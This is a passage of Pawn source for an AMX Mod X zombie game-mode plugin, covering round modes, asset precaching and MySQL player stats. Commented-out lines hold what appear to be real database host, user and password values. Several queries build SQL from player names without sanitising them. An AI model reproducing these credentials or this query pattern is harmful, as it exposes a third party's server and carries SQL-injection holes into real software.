1041 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1042 g_bModeStarted = true;
1043 return 0;
1044 }
1045 static cTime[4];
1046 get_time("%H", cTime, 3);
1047 if (cTime[0] != 48)
1048 {
1049 StartSniperMode(0);
1050 }
1051 else
1052 {
1053 if (cTime[0] == 48 && cTime[1] == 49)
1054 {
1055 StartSniperMode(0);
1056 }
1057 if (cTime[0] == 48 && cTime[1] == 50)
1058 {
1059 StartSniperMode(0);
1060 }
1061 StartAssassinMode(0);
1062 }
1063 return 0;
1064}
1065
1066StartSniperMode(iPlayer)
1067{
1068 if ((g_iLastMode != 8 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
1069 {
1070 g_iLastMode = 8;
1071 g_iRoundType = g_iRoundType | 8;
1072 static j;
1073 static i;
1074 i = GetRandomAlive();
1075 if (iPlayer)
1076 {
1077 i = iPlayer;
1078 }
1079 j = i;
1080 MakeHuman(i, false, true);
1081 for ( i = 1; i <= g_iMaxClients; i ++ )
1082 {
1083 if ( !g_bAlive [i] ) continue;
1084
1085 if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
1086
1087 MakeZombie(0, i, true, false, false);
1088 }
1089 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
1090 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1091 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
1092 remove_task(600, 0);
1093 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1094 g_bModeStarted = true;
1095 return 0;
1096 }
1097 StartSurvivorMode(0);
1098 return 0;
1099}
1100
1101StartSurvivorMode(iPlayer)
1102{
1103 if ((g_iLastMode != 4 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
1104 {
1105 g_iLastMode = 4;
1106 g_iRoundType = g_iRoundType | 4;
1107 static j;
1108 static i;
1109 i = GetRandomAlive();
1110 if (iPlayer)
1111 {
1112 i = iPlayer;
1113 }
1114 j = i;
1115 MakeHuman(i, true, false);
1116 for ( i = 1; i <= g_iMaxClients; i ++ )
1117 {
1118 if ( !g_bAlive [i] ) continue;
1119
1120 if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
1121
1122 MakeZombie(0, i, true, false, false);
1123 }
1124 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
1125 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1126 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
1127 remove_task(600, 0);
1128 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1129 g_bModeStarted = true;
1130 return 0;
1131 }
1132 StartAssassinMode(0);
1133 return 0;
1134}
1135
1136
1137StartAssassinMode(iPlayer)
1138{
1139 if ((g_iLastMode != 2 && random_num(1, 31) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
1140 {
1141 g_iLastMode = 2;
1142 g_iRoundType = g_iRoundType | 2;
1143 static j;
1144 static i;
1145 i = GetRandomAlive();
1146 if (iPlayer)
1147 {
1148 i = iPlayer;
1149 }
1150 j = i;
1151 MakeZombie(0, i, false, false, true);
1152 i = 1;
1153 while (g_iMaxClients + 1 > i)
1154 {
1155 if (g_bAlive[i] && !g_bZombie[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_T)
1156 {
1157 remove_task ( i + TASK_TEAM );
1158 fm_cs_set_user_team ( i, FM_CS_TEAM_CT );
1159 fm_user_team_update ( i );
1160 }
1161 i += 1;
1162 }
1163 set_lights ( "a" );
1164 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
1165 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1166 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
1167 remove_task(600, 0);
1168 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1169 g_bModeStarted = true;
1170 return 0;
1171 }
1172 StartNemesisMode(0);
1173 return 0;
1174}
1175
1176StartNemesisMode(iPlayer)
1177{
1178 if ((g_iLastMode != 1 && random_num(1, 29) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
1179 {
1180 g_iLastMode = 1;
1181 g_iRoundType = g_iRoundType | 1;
1182 static j;
1183 static i;
1184 i = GetRandomAlive();
1185 if (iPlayer)
1186 {
1187 i = iPlayer;
1188 }
1189 j = i;
1190 MakeZombie(0, i, false, true, false);
1191 i = 1;
1192 while (g_iMaxClients + 1 > i)
1193 {
1194 if (g_bAlive[i] && !g_bZombie[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_T)
1195 {
1196 remove_task ( i + TASK_TEAM );
1197 fm_cs_set_user_team ( i, FM_CS_TEAM_CT );
1198 fm_user_team_update ( i );
1199 }
1200 i += 1;
1201 }
1202 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
1203 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1204 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
1205 remove_task(600, 0);
1206 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1207 set_task(1.0, "TaskReminder", 900, "", 0, "", 0)
1208 g_bModeStarted = true;
1209 return 0;
1210 }
1211 StartNormalMode(0);
1212 return 0;
1213}
1214
1215public TaskReminder()
1216{
1217 static cHealth[15];
1218 static iHealth;
1219 static i;
1220 i = 1;
1221 while (g_iMaxClients + 1 > i)
1222 {
1223 if (g_bAlive[i] && g_iPlayerType[i] & 1 && g_bModeStarted && !g_bRoundStart && !g_bRoundEnd)
1224 {
1225 iHealth = get_user_health(i);
1226 AddCommas(iHealth, cHealth, 14);
1227 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 A^3 Rapture^1 Reminder^3 %s^4 Nemesis^1 still has^3 %s^4 health points!", g_Secret, cHealth);
1228 }
1229 i += 1;
1230 }
1231 return 0;
1232}
1233
1234public task_hide_money(TaskIndex)
1235{
1236 if (!g_bAlive[ID_SPAWN])
1237 return;
1238
1239 message_begin(MSG_ONE, get_user_msgid("HideWeapon"), _, ID_SPAWN)
1240 write_byte(1<<5)
1241 message_end()
1242
1243 message_begin(MSG_ONE, get_user_msgid("Crosshair"), _, ID_SPAWN)
1244 write_byte(0)
1245 message_end()
1246}
1247
1248StartNormalMode(iPlayer)
1249{
1250 static j;
1251 static i;
1252 i = GetRandomAlive();
1253 if (iPlayer)
1254 {
1255 i = iPlayer;
1256 }
1257 j = i;
1258 MakeZombie(0, i, false, false, false);
1259 i = 1;
1260 while (g_iMaxClients + 1 > i)
1261 {
1262 if (g_bAlive[i] && !g_bZombie[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_T)
1263 {
1264 remove_task ( i + TASK_TEAM );
1265 fm_cs_set_user_team ( i, FM_CS_TEAM_CT );
1266 fm_user_team_update ( i );
1267 }
1268 i += 1;
1269 }
1270 set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1271 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
1272 remove_task(600, 0);
1273 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1274 g_bModeStarted = true;
1275 return 0;
1276}
1277
1278public plugin_precache ( )
1279{
1280 new Entity;
1281 Entity = engfunc ( EngFunc_CreateNamedEntity, engfunc ( EngFunc_AllocString, "hostage_entity" ) );
1282 if ( pev_valid ( Entity ) )
1283 {
1284 engfunc ( EngFunc_SetOrigin, Entity, Float: {8192.0,8192.0,8192.0} );
1285
1286 dllfunc ( DLLFunc_Spawn, Entity );
1287 }
1288 Entity = engfunc ( EngFunc_CreateNamedEntity, engfunc ( EngFunc_AllocString, "env_fog" ) );
1289
1290 if ( pev_valid ( Entity ) )
1291 {
1292 fm_set_kvd ( Entity, "density", "0.00084655", "env_fog" );
1293
1294 fm_set_kvd ( Entity, "rendercolor", "121 121 121", "env_fog" );
1295 }
1296 set_lights ( "d" );
1297 set_cvar_string("sv_skyname", "space");
1298 set_cvar_num("sv_skycolor_r", 0);
1299 set_cvar_num("sv_skycolor_g", 0);
1300 set_cvar_num("sv_skycolor_b", 0);
1301
1302 g_vflags = ArrayCreate(64, 1)
1303 g_vname = ArrayCreate(64, 1)
1304 g_vpwd = ArrayCreate(64, 1)
1305
1306 if( find_plugin_byfile("zombie_plague_test.amxx") == -1 )
1307 {
1308 set_fail_state("Missing zombie_plague_test.amxx")
1309 }
1310
1311 if( find_plugin_byfile("vip.amxx") == -1 )
1312 {
1313 set_fail_state("Missing vip.amxx")
1314 }
1315
1316 if( find_plugin_byfile("MapEndManager.amxx") == -1 )
1317 {
1318 set_fail_state("Missing MapEndManager.amxx")
1319 }
1320
1321 if( find_plugin_byfile("Spawn.amxx") == -1 )
1322 {
1323 set_fail_state("Missing Spawn.amxx")
1324 }
1325
1326 if( find_plugin_byfile("Admins.amxx") == -1 )
1327 {
1328 set_fail_state("Missing Admins.amxx")
1329 }
1330
1331 if( find_plugin_byfile("MapEndManager_Second.amxx") == -1 )
1332 {
1333 set_fail_state("Missing MapEndManager_Second.amxx")
1334 }
1335
1336 iFwSpawnHook = register_forward (FM_Spawn, "OnFakemetaSpawn", 0 );
1337 precache_model( "models/ZombieOutstanding/p_golden_ak47.mdl" );
1338 precache_model( "models/ZombieOutstanding/v_golden_ak47.mdl" );
1339 precache_model( "models/ZombieOutstanding/p_golden_deagle.mdl" );
1340 precache_model( "models/ZombieOutstanding/v_golden_deagle.mdl" );
1341 precache_model( "models/rpgrocket.mdl" );
1342 precache_model( "models/p_egon.mdl" );
1343 precache_model( "models/v_egon.mdl" );
1344 precache_model( "models/ZombieOutstanding/z_out_nemesis_claws.mdl" );
1345 precache_model( "models/ZombieOutstanding/z_out_assassin_claws.mdl" );
1346 precache_model( "models/ZombieOutstanding/z_out_clasic_claws.mdl" );
1347 precache_model( "models/ZombieOutstanding/z_out_raptor_claws.mdl" );
1348 precache_model( "models/ZombieOutstanding/z_out_mutant_claws.mdl" );
1349 precache_model( "models/ZombieOutstanding/z_out_tight_claws.mdl" );
1350 precache_model( "models/ZombieOutstanding/z_out_hunter_claws.mdl" );
1351 precache_model( "models/ZombieOutstanding/z_out_predator_blue_claws.mdl" );
1352 precache_model( "models/ZombieOutstanding/z_out_v_grenade_infection.mdl" );
1353 precache_model( "models/ZombieOutstanding/z_out_p_grenade_infection.mdl" );
1354 precache_model( "models/ZombieOutstanding/z_out_v_awp_sniper.mdl" );
1355 precache_model( "models/ZombieOutstanding/z_out_p_awp_sniper.mdl" );
1356 precache_model( "models/player/DanDiaconescu/DanDiaconescu.mdl" );
1357 precache_model( "models/player/z_out_nemesis/z_out_nemesis.mdl" );
1358 precache_model( "models/player/z_out_survivor/z_out_survivor.mdl" );
1359 precache_model( "models/player/z_out_assassin/z_out_assassin.mdl" );
1360 precache_model( "models/player/z_out_admin/z_out_admin.mdl" );
1361 precache_model( "models/player/z_out_clasic/z_out_clasic.mdl" );
1362 precache_model( "models/player/z_out_raptor/z_out_raptor.mdl" );
1363 precache_model( "models/player/z_out_mutant/z_out_mutant.mdl" );
1364 precache_model( "models/player/z_out_tight/z_out_tight.mdl" );
1365 precache_model( "models/player/z_out_regenerator/z_out_regenerator.mdl" );
1366 precache_model( "models/player/z_out_predator_blue/z_out_predator_blue.mdl" );
1367 precache_model( "models/player/z_out_hunter/z_out_hunter.mdl" );
1368 precache_model( "models/ZombieOutstanding/z_out_mine.mdl" );
1369 precache_sound( "ZombieOutstanding/armor_hit.wav" );
1370 precache_sound( "ZombieOutstanding/ambience_survivor.wav" );
1371 precache_sound( "ZombieOutstanding/ambience_normal.wav" );
1372 precache_sound( "ZombieOutstanding/monster_hit_01.wav" );
1373 precache_sound( "ZombieOutstanding/monster_hit_02.wav" );
1374 precache_sound( "ZombieOutstanding/monster_hit_03.wav" );
1375 precache_sound( "ZombieOutstanding/zombie_hit_01.wav" );
1376 precache_sound( "ZombieOutstanding/zombie_hit_02.wav" );
1377 precache_sound( "ZombieOutstanding/zombie_hit_03.wav" );
1378 precache_sound( "ZombieOutstanding/zombie_hit_04.wav" );
1379 precache_sound( "ZombieOutstanding/zombie_hit_05.wav" );
1380 precache_sound( "ZombieOutstanding/zombie_die_01.wav" );
1381 precache_sound( "ZombieOutstanding/zombie_die_02.wav" );
1382 precache_sound( "ZombieOutstanding/zombie_die_03.wav" );
1383 precache_sound( "ZombieOutstanding/zombie_die_04.wav" );
1384 precache_sound( "ZombieOutstanding/zombie_die_05.wav" );
1385 precache_sound( "ZombieOutstanding/zombie_infect_01.wav" );
1386 precache_sound( "ZombieOutstanding/zombie_infect_02.wav" );
1387 precache_sound( "ZombieOutstanding/zombie_infect_03.wav" );
1388 precache_sound( "ZombieOutstanding/zombie_infect_04.wav" );
1389 precache_sound( "ZombieOutstanding/zombie_infect_05.wav" );
1390 precache_sound( "ZombieOutstanding/end_round_win_zombies_01.wav" );
1391 precache_sound( "ZombieOutstanding/end_round_win_zombies_02.wav" );
1392 precache_sound( "ZombieOutstanding/end_round_win_zombies_03.wav" );
1393 precache_sound( "ZombieOutstanding/end_round_win_zombies_04.wav" );
1394 precache_sound( "ZombieOutstanding/end_round_win_humans_01.wav" );
1395 precache_sound( "ZombieOutstanding/end_round_win_humans_02.wav" );
1396 precache_sound( "ZombieOutstanding/end_round_win_humans_03.wav" );
1397 precache_sound( "ZombieOutstanding/end_round_win_no_one.wav" );
1398 precache_sound( "ZombieOutstanding/round_start_survivor_01.wav" );
1399 precache_sound( "ZombieOutstanding/round_start_survivor_02.wav" );
1400 precache_sound( "ZombieOutstanding/round_start_nemesis_01.wav" );
1401 precache_sound( "ZombieOutstanding/round_start_nemesis_02.wav" );
1402 precache_sound( "ZombieOutstanding/round_start_plague.wav" );
1403 precache_sound( "ZombieOutstanding/grenade_infection_explode.wav" );
1404 precache_sound( "ZombieOutstanding/grenade_fire_explode.wav" );
1405 precache_sound( "ZombieOutstanding/grenade_frost_explode.wav" );
1406 precache_sound( "ZombieOutstanding/grenade_frost_freeze.wav" );
1407 precache_sound( "ZombieOutstanding/grenade_frost_break.wav" );
1408 precache_sound( "ZombieOutstanding/jetpack_fly.wav" );
1409 precache_sound( "ZombieOutstanding/jetpack_blow.wav" );
1410 precache_sound( "ZombieOutstanding/rocket_fire.wav" );
1411 precache_sound( "ZombieOutstanding/gun_pickup.wav" );
1412 precache_sound( "ZombieOutstanding/zombie_burn_01.wav" );
1413 precache_sound( "ZombieOutstanding/zombie_burn_02.wav" );
1414 precache_sound( "ZombieOutstanding/zombie_burn_03.wav" );
1415 precache_sound( "ZombieOutstanding/zombie_burn_04.wav" );
1416 precache_sound( "ZombieOutstanding/zombie_burn_05.wav" );
1417 precache_sound( "ZombieOutstanding/human_nade_infect_scream_01.wav" );
1418 precache_sound( "ZombieOutstanding/human_nade_infect_scream_02.wav" );
1419 precache_sound( "ZombieOutstanding/human_nade_infect_scream_03.wav" );
1420 precache_sound( "ZombieOutstanding/zombie_madness.wav" );
1421 precache_sound( "ZombieOutstanding/antidote.wav" );
1422 precache_sound( "ZombieOutstanding/mine_activate.wav" );
1423 precache_sound( "ZombieOutstanding/mine_deploy.wav" );
1424 precache_sound( "ZombieOutstanding/mine_charge.wav" );
1425 precache_sound( "ZombieOutstanding/armor_equip.wav" );
1426 precache_sound( "fvox/flatline.wav" );
1427 SpriteTexture = precache_model("sprites/lgtning.spr");
1428 g_iLaser = precache_model("sprites/laserbeam.spr");
1429 ExploSpr = engfunc(EngFunc_PrecacheModel, "sprites/shockwave.spr");
1430 FlameSpr = engfunc(EngFunc_PrecacheModel, "sprites/ZombieOutstanding/z_out_flame.spr");
1431 SmokeSpr = engfunc(EngFunc_PrecacheModel, "sprites/black_smoke3.spr");
1432 GlassSpr = engfunc(EngFunc_PrecacheModel, "models/glassgibs.mdl");
1433 HExplode = engfunc(EngFunc_PrecacheModel, "sprites/zerogxplode.spr");
1434 TrailSpr = engfunc(EngFunc_PrecacheModel, "sprites/laserbeam.spr");
1435 g_hExplode = precache_model("sprites/zerogxplode.spr");
1436}
1437
1438//#define SQL_Server "93.119.27.56"
1439//#define SQL_Person "gpkr_4502"
1440//#define SQL_Password "`D#M5WpV@_9`7p{&"
1441//#define SQL_Database "gpkr_4502"
1442
1443#define SQL_Server ""
1444#define SQL_Person ""
1445#define SQL_Password ""
1446#define SQL_Database "StatsDb"
1447
1448computeTimeLength(Time, timeUnit:unitType, Output[], outputSize)
1449{
1450 static Weeks = 0, Days = 0, Hours = 0, Minutes = 0, Seconds = 0, \
1451 maxElementId = 0, timeElement[5][64], Length = 0;
1452
1453 if (Time > 0)
1454 {
1455 maxElementId = 0;
1456
1457 switch (unitType)
1458 {
1459 case timeUnit_Seconds: Seconds = Time;
1460 case timeUnit_Minutes: Seconds = Time * 60;
1461 case timeUnit_Hours: Seconds = Time * 3600;
1462 case timeUnit_Days: Seconds = Time * 86400;
1463 case timeUnit_Weeks: Seconds = Time * 604800;
1464 }
1465
1466 Weeks = Seconds / 604800;
1467 Seconds -= (Weeks * 604800);
1468
1469 Days = Seconds / 86400;
1470 Seconds -= (Days * 86400);
1471
1472 Hours = Seconds / 3600;
1473 Seconds -= (Hours * 3600);
1474
1475 Minutes = Seconds / 60;
1476 Seconds -= (Minutes * 60);
1477
1478 if (Weeks > 0)
1479 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d w", Weeks);
1480
1481 if (Days > 0)
1482 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d d", Days);
1483
1484 if (Hours > 0)
1485 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d h", Hours);
1486
1487 if (Minutes > 0)
1488 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d m", Minutes);
1489
1490 if (Seconds > 0)
1491 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d s", Seconds);
1492
1493 switch (maxElementId)
1494 {
1495 case 1: Length = formatex(Output, outputSize, "%s", timeElement[0]);
1496 case 2: Length = formatex(Output, outputSize, "%s %s", timeElement[0], timeElement[1]);
1497 case 3: Length = formatex(Output, outputSize, "%s %s %s", timeElement[0], timeElement[1], \
1498 timeElement[2]);
1499 case 4: Length = formatex(Output, outputSize, "%s %s %s %s", timeElement[0], timeElement[1], \
1500 timeElement[2], timeElement[3]);
1501 case 5: Length = formatex(Output, outputSize, "%s %s %s %s %s", timeElement[0], timeElement[1], \
1502 timeElement[2], timeElement[3], timeElement[4]);
1503 }
1504
1505 return Length;
1506 }
1507
1508 Length = formatex(Output, outputSize, "0 m");
1509
1510 return Length;
1511}
1512
1513bool:isValidPlayer(Player)
1514{
1515 return bool:(Player >= 1 && Player <= g_iMaxClients);
1516}
1517
1518resetPlayer(Player)
1519{
1520 static timeNow = 0;
1521
1522 if (isValidPlayer(Player) && !is_user_bot(Player) && !is_user_hltv(Player))
1523 {
1524 timeNow = get_systime();
1525 g_Score[Player] = 1000;
1526 g_Kills[Player] = 0;
1527 g_Deaths[Player] = 0;
1528 g_headShots[Player] = 0;
1529 g_Time[Player] = 0;
1530 computeTimeLength(g_Time[Player], timeUnit_Minutes, g_timeString[Player], charsmax(g_timeString[]));
1531 g_Seen[Player] = timeNow;
1532 format_time(g_seenString[Player], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
1533 g_kpdRatio[Player] = 0.0;
1534 g_kmdValue[Player] = 0;
1535 }
1536}
1537
1538Float:computeKpdRatio(Player)
1539{
1540 if (isValidPlayer(Player) && is_user_connected(Player) && is_user_bot(Player) == 0 && is_user_hltv(Player) == 0)
1541 {
1542 if (g_Deaths[Player] == 0)
1543 {
1544 return float(g_Kills[Player]);
1545 }
1546
1547 else
1548 {
1549 return float(g_Kills[Player] / g_Deaths[Player]);
1550 }
1551 }
1552
1553 return 0.0;
1554}
1555
1556computeKmdValue(Player)
1557{
1558 if (isValidPlayer(Player) && is_user_connected(Player) && is_user_bot(Player) == 0 && is_user_hltv(Player) == 0)
1559 {
1560 return g_Kills[Player] - g_Deaths[Player];
1561 }
1562
1563 return 0;
1564}
1565
1566updateRank(Client)
1567{
1568 if (isValidPlayer(Client) && is_user_connected(Client) && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
1569 {
1570 formatex(g_Query, charsmax(g_Query), "UPDATE Players SET Ip = '%s', Score = %d, Kills = %d, Deaths = %d, \
1571 headShots = %d, Seen = %d, seenString = '%s', kpdRatio = %f, kmdValue = %d WHERE Name = '%s';", \
1572 g_Ip[Client], g_Score[Client], g_Kills[Client], g_Deaths[Client], g_headShots[Client], \
1573 g_Seen[Client], g_seenString[Client], g_kpdRatio[Client], g_kmdValue[Client], g_Name[Client]);
1574
1575 SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);
1576 }
1577}
1578
1579public NewStats_GetTop15(pluginId, parametersCount)
1580{
1581 static Name[15][64], Total, Error[256], errorId, Handle:Connection, Handle:Query, Iterator;
1582
1583 Connection = SQL_Connect(g_Tuple, errorId, Error, charsmax(Error));
1584
1585 if (errorId)
1586 {
1587 log_to_file("ZombieOutStanding_Stats_Error.log", "NewStats_GetTop15() failed because SQL has encountered an error.");
1588 log_to_file("ZombieOutStanding_Stats_Error.log", "The error is listed below.");
1589 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1590
1591 return 0;
1592 }
1593
1594 Query = SQL_PrepareQuery(Connection, "SELECT Name FROM Players ORDER BY kmdValue DESC LIMIT 15;");
1595 SQL_Execute(Query);
1596
1597 if (SQL_NumResults(Query) == 0)
1598 {
1599 SQL_FreeHandle(Query);
1600 SQL_FreeHandle(Connection);
1601
1602 return 0;
1603 }
1604
1605 Total = 0;
1606
1607 while (SQL_MoreResults(Query))
1608 {
1609 SQL_ReadResult(Query, 0, Name[Total++], charsmax(Name[]));
1610
1611 SQL_NextRow(Query);
1612 }
1613
1614 SQL_FreeHandle(Query);
1615 SQL_FreeHandle(Connection);
1616
1617 for (Iterator = 0; Iterator < Total; Iterator++)
1618 set_string(Iterator + 1, Name[Iterator], charsmax(Name[]));
1619
1620 return Total;
1621}
1622
1623public NewStats_GetStats(pluginId, parametersCount)
1624{
1625 static Name[64], Error[256], errorId, Handle:Connection, Handle:Query, Kills[16], Deaths[16], \
1626 headShots[16], Score[16], Ip[64], Steam[64], Time[16], timeString[64], Seen[16], \
1627 seenString[64], kpdRatio[16], kmdValue[16], Kills_i, Deaths_i, headShots_i, Score_i, \
1628 Time_i, Seen_i, Float:kpdRatio_f, kmdValue_i, Rank[16], Rank_i, totalPositions[16];
1629
1630 get_string(1, Name, charsmax(Name));
1631
1632 replace_all(Name, charsmax(Name), "`", "*");
1633 replace_all(Name, charsmax(Name), "'", "*");
1634 replace_all(Name, charsmax(Name), "\", "*");
1635
1636 Connection = SQL_Connect(g_Tuple, errorId, Error, charsmax(Error));
1637
1638 if (errorId)
1639 {
1640 log_to_file("ZombieOutStanding_Stats_Error.log", "NewStats_GetStats() failed because SQL has encountered an error.");
1641 log_to_file("ZombieOutStanding_Stats_Error.log", "The error is listed below.");
1642 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1643
1644 return 0;
1645 }
1646
1647 formatex(g_Query, charsmax(g_Query), "SELECT Steam, Ip, Score, Kills, Deaths, headShots, Time, timeString, Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", Name);
1648
1649 Query = SQL_PrepareQuery(Connection, g_Query);
1650 SQL_Execute(Query);
1651
1652 if (SQL_NumResults(Query) == 0)
1653 {
1654 SQL_FreeHandle(Query);
1655 SQL_FreeHandle(Connection);
1656
1657 return 0;
1658 }
1659
1660 SQL_ReadResult(Query, 0, Steam, charsmax(Steam));
1661 SQL_ReadResult(Query, 1, Ip, charsmax(Ip));
1662 Score_i = SQL_ReadResult(Query, 2);
1663 num_to_str(Score_i, Score, charsmax(Score));
1664 Kills_i = SQL_ReadResult(Query, 3);
1665 num_to_str(Kills_i, Kills, charsmax(Kills));
1666 Deaths_i = SQL_ReadResult(Query, 4);
1667 num_to_str(Deaths_i, Deaths, charsmax(Deaths));
1668 headShots_i = SQL_ReadResult(Query, 5);
1669 num_to_str(headShots_i, headShots, charsmax(headShots));
1670 Time_i = SQL_ReadResult(Query, 6);
1671 num_to_str(Time_i, Time, charsmax(Time));
1672 SQL_ReadResult(Query, 7, timeString, charsmax(timeString));
1673 Seen_i = SQL_ReadResult(Query, 8);
1674 num_to_str(Seen_i, Seen, charsmax(Seen));
1675 SQL_ReadResult(Query, 9, seenString, charsmax(seenString));
1676 SQL_ReadResult(Query, 10, kpdRatio_f);
1677 float_to_str(kpdRatio_f, kpdRatio, charsmax(kpdRatio));
1678 kmdValue_i = SQL_ReadResult(Query, 11);
1679 num_to_str(kmdValue_i, kmdValue, charsmax(kmdValue));
1680
1681 SQL_FreeHandle(Query);
1682
1683 set_string(2, Steam, charsmax(Steam));
1684 set_string(3, Ip, charsmax(Ip));
1685 set_string(4, Score, charsmax(Score));
1686 set_string(5, Kills, charsmax(Kills));
1687 set_string(6, Deaths, charsmax(Deaths));
1688 set_string(7, headShots, charsmax(headShots));
1689 set_string(8, Time, charsmax(Time));
1690 set_string(9, timeString, charsmax(timeString));
1691 set_string(10, Seen, charsmax(Seen));
1692 set_string(11, seenString, charsmax(seenString));
1693 set_string(12, kpdRatio, charsmax(kpdRatio));
1694 set_string(13, kmdValue, charsmax(kmdValue));
1695
1696 formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", kmdValue_i);
1697
1698 Query = SQL_PrepareQuery(Connection, g_Query);
1699 SQL_Execute(Query);
1700
1701 Rank_i = SQL_NumResults(Query);
1702 num_to_str(Rank_i, Rank, charsmax(Rank));
1703
1704 SQL_FreeHandle(Query);
1705 SQL_FreeHandle(Connection);
1706
1707 set_string(14, Rank, charsmax(Rank));
1708
1709 num_to_str(g_recordsCount, totalPositions, charsmax(totalPositions));
1710 set_string(15, totalPositions, charsmax(totalPositions));
1711
1712 return 1;
1713}
1714
1715public recordsCount(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1716{
1717 if (failState != 0 || errorId != 0)
1718 {
1719 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ recordsCount()");
1720 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1721 }
1722
1723 else if (queueTime > 15.0)
1724 {
1725 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ recordsCount() : This query took 15.0 seconds. \
1726 Talk to the game host company tell them the MySQL database works too slow.");
1727 }
1728
1729 g_recordsCount = SQL_NumResults(Query);
1730}
1731
1732public emptyFunction(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1733{
1734 if (failState != 0 || errorId != 0)
1735 {
1736 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ emptyFunction()");
1737 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1738 }
1739
1740 else if (queueTime > 15.0)
1741 {
1742 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ emptyFunction() : This query took 15.0 seconds. \
1743 Talk to the game host company tell them the MySQL database works too slow.");
1744 }
1745}
1746
1747public retrieveOrCreatePlayer(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1748{
1749 static Client = 0;
1750
1751 if (failState != 0 || errorId != 0)
1752 {
1753 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ retrieveOrCreatePlayer()");
1754 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1755 }
1756
1757 else if (queueTime > 15.0)
1758 {
1759 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ retrieveOrCreatePlayer() : This query took 15.0 seconds. \
1760 Talk to the game host company tell them the MySQL database works too slow.");
1761 }
1762
1763 Client = str_to_num(Data);
1764
1765 if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
1766 {
1767 resetPlayer(Client);
1768
1769 switch (SQL_NumResults(Query))
1770 {
1771 case 0:
1772 {
1773 formatex(g_Query, charsmax(g_Query), "INSERT INTO Players VALUES ('%s', \
1774 '%s', '%s', %d, %d, %d, %d, %d, '%s', %d, '%s', %f, %d);", g_Name[Client], \
1775 g_Steam[Client], g_Ip[Client], g_Score[Client], g_Kills[Client], \
1776 g_Deaths[Client], g_headShots[Client], g_Time[Client], g_timeString[Client], g_Seen[Client], \
1777 g_seenString[Client], g_kpdRatio[Client], g_kmdValue[Client]);
1778
1779 SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);
1780
1781 g_recordsCount++;
1782 }
1783
1784 default:
1785 {
1786 g_Score[Client] = SQL_ReadResult(Query, 0);
1787 g_Kills[Client] = SQL_ReadResult(Query, 1);
1788 g_Deaths[Client] = SQL_ReadResult(Query, 2);
1789 g_headShots[Client] = SQL_ReadResult(Query, 3);
1790 g_Time[Client] = SQL_ReadResult(Query, 4);
1791 SQL_ReadResult(Query, 5, g_timeString[Client], charsmax(g_timeString[]));
1792 g_Seen[Client] = SQL_ReadResult(Query, 6);
1793 SQL_ReadResult(Query, 7, g_seenString[Client], charsmax(g_seenString[]));
